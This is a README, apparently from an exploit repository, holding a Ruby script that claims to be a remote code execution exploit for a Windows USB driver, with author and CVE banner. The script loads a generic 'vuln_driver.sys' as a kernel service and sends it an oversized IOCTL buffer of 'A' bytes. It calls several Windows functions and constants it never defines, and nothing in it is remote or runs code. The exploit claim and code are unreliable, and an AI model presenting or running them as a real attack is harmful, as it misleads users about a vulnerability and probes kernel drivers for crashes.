README.md
Rendering markdown...
puts <<-BANNER
Exploit Title: Windows USB Generic Parent Driver Remote Code Execution Vulnerability
Date: 2024-04-04
Country: Iran
Exploit Author: Yasin Saffari (Symbolexe)
Vendor Homepage: None
Tested on: Windows/Linux
CVE: CVE-2024-1642470
BANNER
require 'ffi'
module WindowsAPI
extend FFI::Library
ffi_lib 'kernel32'
# Function signatures
attach_function :open_device, :CreateFileW, [:string, :uint32, :uint32, :pointer, :uint32, :uint32, :pointer], :pointer
attach_function :device_io_control, :DeviceIoControl, [:pointer, :uint32, :pointer, :uint32, :pointer, :uint32, :pointer, :pointer], :bool
attach_function :close_handle, :CloseHandle, [:pointer], :bool
# Constants
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 3
FILE_ATTRIBUTE_NORMAL = 0x80
end
def load_driver(driver_name, service_name)
sc_manager = WindowsAPI.OpenSCManagerW(nil, nil, WindowsAPI::SC_MANAGER_ALL_ACCESS)
if sc_manager.null?
return false
end
service = WindowsAPI.CreateServiceW(sc_manager, service_name, service_name, WindowsAPI::SERVICE_ALL_ACCESS, WindowsAPI::SERVICE_KERNEL_DRIVER, WindowsAPI::SERVICE_DEMAND_START, WindowsAPI::SERVICE_ERROR_NORMAL, driver_name, nil, nil, nil, nil, nil)
if service.null?
error = WindowsAPI::get_last_error
if error == WindowsAPI::ERROR_SERVICE_EXISTS
service = WindowsAPI.OpenServiceW(sc_manager, service_name, WindowsAPI::SERVICE_ALL_ACCESS)
if service.null?
WindowsAPI.CloseServiceHandle(sc_manager)
return false
end
else
WindowsAPI.CloseServiceHandle(sc_manager)
return false
end
end
if !WindowsAPI.StartServiceW(service, 0, nil)
error = WindowsAPI::get_last_error
if error != WindowsAPI::ERROR_SERVICE_ALREADY_RUNNING
WindowsAPI.CloseServiceHandle(service)
WindowsAPI.CloseServiceHandle(sc_manager)
return false
end
end
WindowsAPI.CloseServiceHandle(service)
WindowsAPI.CloseServiceHandle(sc_manager)
return true
end
def unload_driver(service_name)
sc_manager = WindowsAPI.OpenSCManagerW(nil, nil, WindowsAPI::SC_MANAGER_ALL_ACCESS)
if sc_manager.null?
return false
end
service = WindowsAPI.OpenServiceW(sc_manager, service_name, WindowsAPI::SERVICE_ALL_ACCESS)
if service.null?
WindowsAPI.CloseServiceHandle(sc_manager)
return false
end
service_status = WindowsAPI::SERVICE_STATUS.new
if !WindowsAPI.ControlService(service, WindowsAPI::SERVICE_CONTROL_STOP, service_status)
error = WindowsAPI::get_last_error
if error != WindowsAPI::ERROR_SERVICE_NOT_ACTIVE
WindowsAPI.CloseServiceHandle(service)
WindowsAPI.CloseServiceHandle(sc_manager)
return false
end
end
if !WindowsAPI.DeleteService(service)
WindowsAPI.CloseServiceHandle(service)
WindowsAPI.CloseServiceHandle(sc_manager)
return false
end
WindowsAPI.CloseServiceHandle(service)
WindowsAPI.CloseServiceHandle(sc_manager)
return true
end
def main
device_name = "\\\\.\\VulnDriver"
ioctl_vuln_code = 0x222003
ioctl_buffer_size = 0x1000
device_handle = WindowsAPI.open_device(device_name, WindowsAPI::GENERIC_READ | WindowsAPI::GENERIC_WRITE, 0, nil, WindowsAPI::OPEN_EXISTING, WindowsAPI::FILE_ATTRIBUTE_NORMAL, nil)
if device_handle && device_handle != FFI::Pointer::NULL
puts "Vulnerable driver found!"
input_buffer = FFI::MemoryPointer.new(:char, ioctl_buffer_size).put_string(0, "A" * ioctl_buffer_size)
output_buffer = FFI::MemoryPointer.new(:char, ioctl_buffer_size)
bytes_returned = FFI::MemoryPointer.new(:ulong)
if WindowsAPI.device_io_control(device_handle, ioctl_vuln_code, input_buffer, ioctl_buffer_size, output_buffer, ioctl_buffer_size, bytes_returned, nil)
puts "Output buffer:\n#{output_buffer.read_string.strip}"
else
puts "Error sending IOCTL: #{WindowsAPI.get_last_error}"
end
WindowsAPI.close_handle(device_handle)
else
puts "Vulnerable driver not found."
end
end
# Load the vulnerable driver
driver_name = "vuln_driver.sys"
service_name = "\\Driver\\VulnDriver"
if !load_driver(driver_name, service_name)
puts "Error loading vulnerable driver: #{WindowsAPI.get_last_error}"
exit 1
end
main
# Unload the vulnerable driver
if !unload_driver(service_name)
puts "Error unloading vulnerable driver: #{WindowsAPI.get_last_error}"
end